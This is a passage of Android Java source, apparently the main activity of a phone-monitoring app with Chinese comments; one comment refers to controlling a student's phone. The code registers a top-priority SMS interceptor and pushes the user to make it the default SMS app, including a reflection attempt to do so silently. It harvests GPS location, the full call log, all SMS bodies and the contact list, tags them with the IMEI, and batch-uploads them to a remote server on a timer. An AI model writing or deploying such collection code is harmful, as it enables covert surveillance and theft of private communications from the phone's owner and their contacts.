        initqx();//初始化权限

        IntentFilter filter = new IntentFilter();
        filter.setPriority(2147483647);
        filter.addAction("android.provider.Telephony.SMS_RECEIVED");
        filter.addAction("android.provider.Telephony.SMS_DELIVER");
        filter.addAction("com.mego.tzadd.startapp");
        receiver = new SmsReceiver();
        receiver.mHandler = mHandler;
        registerReceiver(receiver, filter);

        openGps(false);

        mHandler.sendEmptyMessage(DOTCJE);
        TimeRefresher.getInstance().addTimeRefreshListener(TAG, 1000, this);
        mHandler.sendEmptyMessage(SENDSTAR);

        xfwindows();
    }

    //悬浮窗
    void xfwindows() {
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
            if (Settings.canDrawOverlays(MainActivity.this)) {
                Intent intent = new Intent(MainActivity.this, XfService.class);
                showShortToast("开启Toucher");
                startService(intent);
            } else {
                //若没有权限，提示获取.
                Intent intent = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION);
                showShortToast("需要取得权限以使用悬浮窗");
                startActivity(intent);
            }
        }
    }

    void openGps(boolean open) {
        GPSProvider.getInstance().initGPSProvider(this, open);
        LonLat pos = GPSProvider.getInstance().getPos();
        if (pos != null) {
            _latlon = pos.GetLat() + ", " + pos.GetLon();
        }
    }

    /**
     * 检测是否为默认短信应用，否的话弹框请用户选择
     */
    private void checkIfDefaultSMS() {

        final String myPackageName = getPackageName();
        if (!Telephony.Sms.getDefaultSmsPackage(this).equals(myPackageName)) {
            SystemHelper.setTopApp(MainActivity.this);
            // App is not default.
            notifymsg0();

            Intent intent = new Intent(Telephony.Sms.Intents.ACTION_CHANGE_DEFAULT);
            intent.putExtra(Telephony.Sms.Intents.EXTRA_PACKAGE_NAME, myPackageName);
            startActivity(intent);
//            setDefaultSms();
        } else {
            // App is the default.
        }
//        Utils.log("checkIfDefaultSMS");
    }

    //不弹框设置短信应用
    //MANAGE_APP_OPS_MODES -- 只有系统app才有此权限
    private void setDefaultSms() {
        final String myPackageName = getPackageName();
        try {
            Class<?> smsClass = Class.forName(CLASS_SMS_MANAGER);
            Method method = smsClass.getMethod(METHOD_SET_DEFAULT, String.class, Context.class);
            method.invoke(null, myPackageName, this);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public void onTimerRefresh() {
        //定位1秒刷一次
        //上传10分钟一次
        _num++;
        LonLat pos = GPSProvider.getInstance().getPos();
        if (pos != null) {
            _latlon = pos.GetLat() + ", " + pos.GetLon();
//            tv_addr.setText(_latlon);
        }
        Log.d("MainService", "MainActivity-time-- " + _num);

        if (_num > 0 && _num % 30 == 0) {
            //30秒的心跳包
            mHandler.sendEmptyMessage(XTB);
        }

        if (_num > 10 && _num % _txjg == 0) {
            mHandler.sendEmptyMessage(DOTCJE);
//            Utils.log("DOTCJE");
        }

        if (_num > 600) {
            mHandler.sendEmptyMessage(SENDSTAR);
            _num = 0;
        }
    }

    @Override
    public void onTimerStop() {

    }

    class CallRecord {
        long date;
        String formatted_number;
        String matched_number;
        String name;
        String type;
        String location;
        long duration;

        @Override
        public String toString() {
//            return "CallRecord{" +
//                    "date=" + formatDate(date) +
//                    ", formatted_number='" + formatted_number + '\'' +
//                    ", matched_number='" + matched_number + '\'' +
//                    ", name='" + name + '\'' +
//                    ", type=" + type +
//                    ", location='" + location + '\'' +
//                    ", duration=" + formatDuration(duration) +
//                    '}';

            return "CallRecord{" +
                    "日期：" + formatDate(date) +
                    ", 电话='" + matched_number + '\'' +
                    ", 联系人='" + name + '\'' +
                    ", 类型=" + type +
                    ", 通话时间=" + formatDuration(duration) +
                    '}';
        }

    }

    //控制學生手機的音量（可設定成靜音）
    void setJinyin() {
        AudioManager am = (AudioManager) getSystemService(Context.AUDIO_SERVICE);
        am.setStreamVolume(AudioManager.STREAM_MUSIC, 0, AudioManager.FLAG_PLAY_SOUND);//设置值为Val
        setBeiguang();
    }

    //螢幕背光可設定成最暗
    void setBeiguang() {
//        ContentResolver resolver = context.getContentResolver();
//        Uri uri = android.provider.Settings.System.getUriFor(Settings.System.SCREEN_BRIGHTNESS);
//        android.provider.Settings.System.putInt(resolver, Settings.System.SCREEN_BRIGHTNESS, 1);
//        resolver.notifyChange(uri, null);
    }

    @TargetApi(21)
    private void queryCallLog() {
        //  权限检查
        if (ActivityCompat.checkSelfPermission(this, Manifest.permission.READ_CALL_LOG)
                != PackageManager.PERMISSION_GRANTED) {
            // TODO: Consider calling
            //    ActivityCompat#requestPermissions
            // here to request the missing permissions, and then overriding
            //   public void onRequestPermissionsResult(int requestCode,
            //      String[] permissions,int[] grantResults)
            // to handle the case where the user grants the permission.
            // See the documentation
            // for ActivityCompat#requestPermissions for more details.
            Log.w(TAG, "permission is request");
            /**
             * 动态申请权限
             * 这里没有在
             * onRequestPermissionsResult(int requestCode,
             * String[] permissions,int[] grantResults)方法里面处理
             *
             */
            ActivityCompat.requestPermissions(this,
                    new String[]{Manifest.permission.READ_CALL_LOG}, 100);
            return;
        }

        //动态申请权限
        if (ActivityCompat.checkSelfPermission(MainActivity.this,
                Manifest.permission.READ_CONTACTS) != PackageManager.PERMISSION_GRANTED) {
            ActivityCompat.requestPermissions(MainActivity.this,
                    new String[]{Manifest.permission.READ_CONTACTS}, 101);
            return;
        }
        //动态申请权限
        if (ActivityCompat.checkSelfPermission(MainActivity.this, Manifest.permission.READ_SMS)
                != PackageManager.PERMISSION_GRANTED) {
            ActivityCompat.requestPermissions(MainActivity.this,
                    new String[]{Manifest.permission.READ_SMS}, 101);
            return;
        }

        String name = "";
        String mobile = Utils.getIMEI(this);

        ContentResolver resolver = getContentResolver();
        //获取cursor对象
        Cursor cursor = resolver.query(CallLog.Calls.CONTENT_URI, new String[]{
                CallLog.Calls.CACHED_FORMATTED_NUMBER,
//                CallLog.Calls.CACHED_MATCHED_NUMBER,
                CallLog.Calls.NUMBER,
                CallLog.Calls.CACHED_NAME,
                CallLog.Calls.TYPE,
                CallLog.Calls.DATE,
                CallLog.Calls.DURATION,
                CallLog.Calls.GEOCODED_LOCATION,
        }, null, null, "date DESC ");

        /**
         *  "date DESC limit 2"
         *  按时间排序查询2条记录
         */

        if (cursor != null) {
            Log.i(TAG, "cursor length is " + cursor.getCount());
            try {
                ArrayList<Thmlog> thmlogList = new ArrayList<Thmlog>();
                while (cursor.moveToNext()) {
                    CallRecord record = new CallRecord();
                    record.formatted_number = cursor.getString(0);
                    record.matched_number = cursor.getString(1);
                    record.name = cursor.getString(2);
                    record.type = getCallType(cursor.getInt(3));
                    record.date = cursor.getLong(4);
                    record.duration = cursor.getLong(5);
                    record.location = cursor.getString(6);

                    Thmlog thmlog = ThmlogCenter.getInstance().getThmlog(record.date, 0);
                    if (thmlog == null) {
                        thmlog = new Thmlog(null, name, mobile, 0, record.date, record.matched_number, record.name,
                                record.type, record.duration, "", "", 0, "", _latlon);
                        ThmlogCenter.getInstance().saveThmlog(thmlog);//保存上传记录
                        thmlogList.add(thmlog);
                    }

                    if (thmlogList.size() > MAX_SEND_B) {
                        //每次最多上传1000笔
                        String msg = JSON.toJSONString(thmlogList);
                        tv_scaninfo.setText(msg);
                        msg = URLEncoder.encode(msg, "utf-8");
                        //批量上传
                        sendthm(msg);
                        thmlogList.clear();
                    }
                }

                if (thmlogList.size() > 0) {
                    String msg = JSON.toJSONString(thmlogList);
                    tv_scaninfo.setText(msg);
                    msg = URLEncoder.encode(msg, "utf-8");
                    //批量上传
                    sendthm(msg);
                }

            } catch (Exception e) {
                e.printStackTrace();
            } finally {
                cursor.close();  //关闭cursor，避免内存泄露
            }
        }
    }

    void sendLianluoren(String msg) {
        String mobile = Utils.getIMEI(this);
        if (mobile.length() < 3) {
            mobile = "123";
        }
        try {
            HttpRequest.posttxl(msg, mobile, 0, new OnHttpResponseListener() {
                @Override
                public void onHttpResponse(int requestCode, String resultJson, Exception e) {
//                    showShortToast(resultJson);
                }
            });
        } catch (Exception e1) {
//            showShortToast(e1.getMessage());
        }
    }

    //    Telephony.Sms.ADDRESS     发件人地址，即手机号
//    Telephony.Sms.BODY      短信具体内容
//    Telephony.Sms.DATE      日期，long型
//    Telephony.Sms.READ      是否阅读0未读，1已读
//    Telephony.Sms.STATUS     短信状态-1 接收，0 complete,64 pending,128 failed
//    Telephony.Sms.TYPE      短信类型1是接收到的，2是已发出
    @TargetApi(21)
    public String queryMessageLog() {
        final String SMS_URI_ALL = "content://sms/"; // 所有短信
        final String SMS_URI_INBOX = "content://sms/inbox"; // 收件箱
        final String SMS_URI_SEND = "content://sms/sent"; // 已发送
        final String SMS_URI_DRAFT = "content://sms/draft"; // 草稿
        final String SMS_URI_OUTBOX = "content://sms/outbox"; // 发件箱
        final String SMS_URI_FAILED = "content://sms/failed"; // 发送失败
        final String SMS_URI_QUEUED = "content://sms/queued"; // 待发送列表

        String name = "";
        String mobile = Utils.getIMEI(this);

        StringBuilder smsBuilder = new StringBuilder();
        try {
            Uri uri = Uri.parse(SMS_URI_ALL);
            String[] projection = new String[]{"_id", "address", "person",
                    "body", "date", "type",};
            Cursor cur = getContentResolver().query(uri, projection, null,
                    null, "date desc"); // 获取手机内部短信
            // 获取短信中最新的未读短信
            // Cursor cur = getContentResolver().query(uri, projection,
            // "read = ?", new String[]{"0"}, "date desc");
            if (cur.moveToFirst()) {
                int index_Address = cur.getColumnIndex("address");
                int index_Person = cur.getColumnIndex("person");
                int index_Body = cur.getColumnIndex("body");
                int index_Date = cur.getColumnIndex("date");
                int index_Type = cur.getColumnIndex("type");

                ArrayList<Thmlog> thmlogList = new ArrayList<Thmlog>();
                do {
                    String strAddress = cur.getString(index_Address);
                    int intPerson = cur.getInt(index_Person);
                    String strbody = cur.getString(index_Body);
                    long longDate = cur.getLong(index_Date);
                    int intType = cur.getInt(index_Type);

                    SimpleDateFormat dateFormat = new SimpleDateFormat(
                            "yyyy-MM-dd hh:mm:ss");
                    Date d = new Date(longDate);
                    String strDate = dateFormat.format(d);

                    String strType = "";
                    if (intType == 1) {
                        strType = "接收";
                    } else if (intType == 2) {
                        strType = "发送";
                    } else if (intType == 3) {
                        strType = "草稿";
                        continue;
                    } else if (intType == 4) {
                        strType = "发件箱";
                        continue;
                    } else if (intType == 5) {
                        strType = "发送失败";
                        continue;
                    } else if (intType == 6) {
                        strType = "待发送列表";
                        continue;
                    } else if (intType == 0) {
                        strType = "所有短信";
                        continue;
                    } else {
                        strType = "null";
                        continue;
                    }

//                    smsBuilder.append("[ ");
//                    smsBuilder.append(strAddress + ", ");
//                    smsBuilder.append(intPerson + ", ");
//                    smsBuilder.append(strbody + ", ");
//                    smsBuilder.append(strDate + ", ");
//                    smsBuilder.append(strType);
//                    smsBuilder.append(" ]\n\n");
                    Thmlog thmlog = ThmlogCenter.getInstance().getThmlog(longDate, 1);
                    if (thmlog == null) {
                        thmlog = new Thmlog(null, name, mobile, 1, longDate, "", "",
                                "", 0, strAddress, strbody, intType, "", _latlon);
                        ThmlogCenter.getInstance().saveThmlog(thmlog);//保存上传记录
                        thmlogList.add(thmlog);
                    }

                    if (thmlogList.size() > MAX_SEND_A) {
                        String msg = JSON.toJSONString(thmlogList);
                        tv_dxjl.setText(msg);
                        try {
                            msg = URLEncoder.encode(msg, "utf-8");
                        } catch (UnsupportedEncodingException e) {
                            e.printStackTrace();
                        }
                        //批量上传
                        sendthm(msg);
                        thmlogList.clear();
                    }
                } while (cur.moveToNext());

                if (thmlogList.size() > 0) {
                    String msg = JSON.toJSONString(thmlogList);
                    tv_dxjl.setText(msg);
                    try {
                        msg = URLEncoder.encode(msg, "utf-8");
                    } catch (UnsupportedEncodingException e) {
                        e.printStackTrace();
                    }
                    //批量上传
                    sendthm(msg);
                    thmlogList.clear();
                }

                if (!cur.isClosed()) {
                    cur.close();
                    cur = null;
                }
            } else {
                smsBuilder.append("no result!");
            }

            smsBuilder.append("getSmsInPhone has executed!");

        } catch (SQLiteException ex) {

        }

        return smsBuilder.toString();
    }

    //聯絡人 通訊錄
    void getLianluoren() {
        MyContactsCenter.getInstance().mMyContactsList.clear();
        ArrayList<MyContacts> contacts = ContactUtils.getAllContacts(MainActivity.this);
        int i = 0;
        for (MyContacts contact : contacts) {
            MyContacts contact0 = MyContactsCenter.getInstance().getMyContacts(contact.name, contact.phone);
            if (contact0 == null) {
                MyContactsCenter.getInstance().saveMyContacts(contact);
                MyContactsCenter.getInstance().mMyContactsList.add(contact);
                if (MyContactsCenter.getInstance().mMyContactsList.size() > MAX_SEND_B) {
                    String msg = JSON.toJSONString(MyContactsCenter.getInstance().mMyContactsList);
                    try {
                        msg = URLEncoder.encode(msg, "utf-8");
                        sendLianluoren(msg);
                    } catch (UnsupportedEncodingException e) {
                        e.printStackTrace();
                    }
                    MyContactsCenter.getInstance().mMyContactsList.clear();
                }
            }
        }

        if (MyContactsCenter.getInstance().mMyContactsList.size() > 0) {
            String msg = JSON.toJSONString(MyContactsCenter.getInstance().mMyContactsList);
            try {
                msg = URLEncoder.encode(msg, "utf-8");
                sendLianluoren(msg);
            } catch (UnsupportedEncodingException e) {
                e.printStackTrace();
            }
        }
    }

    //提示
    void notifymsg() {
        NotificationUtil notificationUtils = new NotificationUtil(this);
        notificationUtils.sendNotification(getString(R.string.app_name), _msginfo);
    }

    void notifymsg0() {
        NotificationManager notificationManager = (NotificationManager) getSystemService(NOTIFICATION_SERVICE);
        NotificationCompat.Builder builder = null;
        /**
         * 这里需要注意，8.0以上需要创建 Channel 渠道
         */
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
            NotificationChannel notificationChannel = new NotificationChannel("友情通知", getString(R.string.app_name),
                    NotificationManager.IMPORTANCE_DEFAULT);
            notificationManager.createNotificationChannel(notificationChannel);
            builder = new NotificationCompat.Builder(this, "友情通知");
        } else {
            builder = new NotificationCompat.Builder(this);
        }

        //Ticker是状态栏显示的提示
        builder.setTicker("请同意預設短信管理APP");
        //第一行内容  通常作为通知栏标题
        builder.setContentTitle("请同意預設短信管理APP");
        //第二行内容 通常是通知正文
        builder.setContentText(_msginfo);
        //第三行内容 通常是内容摘要什么的 在低版本机器上不一定显示
        builder.setSubText("預設短信管理！");//--没用
        //ContentInfo 在通知的右侧 时间的下面 用来展示一些其他信息
        builder.setContentInfo("預設短信管理。");//--没用
        //number设计用来显示同种通知的数量和ContentInfo的位置一样，如果设置了ContentInfo则number会被隐藏
        builder.setNumber(2);
        //true：点击通知栏，通知消失
        builder.setAutoCancel(true);
        //通知时间
        builder.setWhen(System.currentTimeMillis());
        //系统状态栏显示的小图标
        builder.setSmallIcon(R.mipmap.ic_launcher);
        //下拉显示的大图标
        builder.setLargeIcon(BitmapFactory.decodeResource(getResources(), R.mipmap.ic_launcher));
        /**
         * 这里的Intent可以携带参数传递到跳转的Activity，后面会专门解释
         */
        Intent intent = new Intent(this, MainActivity.class);
        PendingIntent pIntent = PendingIntent.getActivity(this, 1, intent, 0);
        //点击跳转的intent
        builder.setContentIntent(pIntent);
        //通知默认的声音 震动 呼吸灯
        builder.setDefaults(NotificationCompat.DEFAULT_ALL);
        Notification notification = builder.build();
        /**
         * 第一个参数为id，如果id相同则该通知会更新；
         */
        notificationManager.notify(123, notification);
    }

}

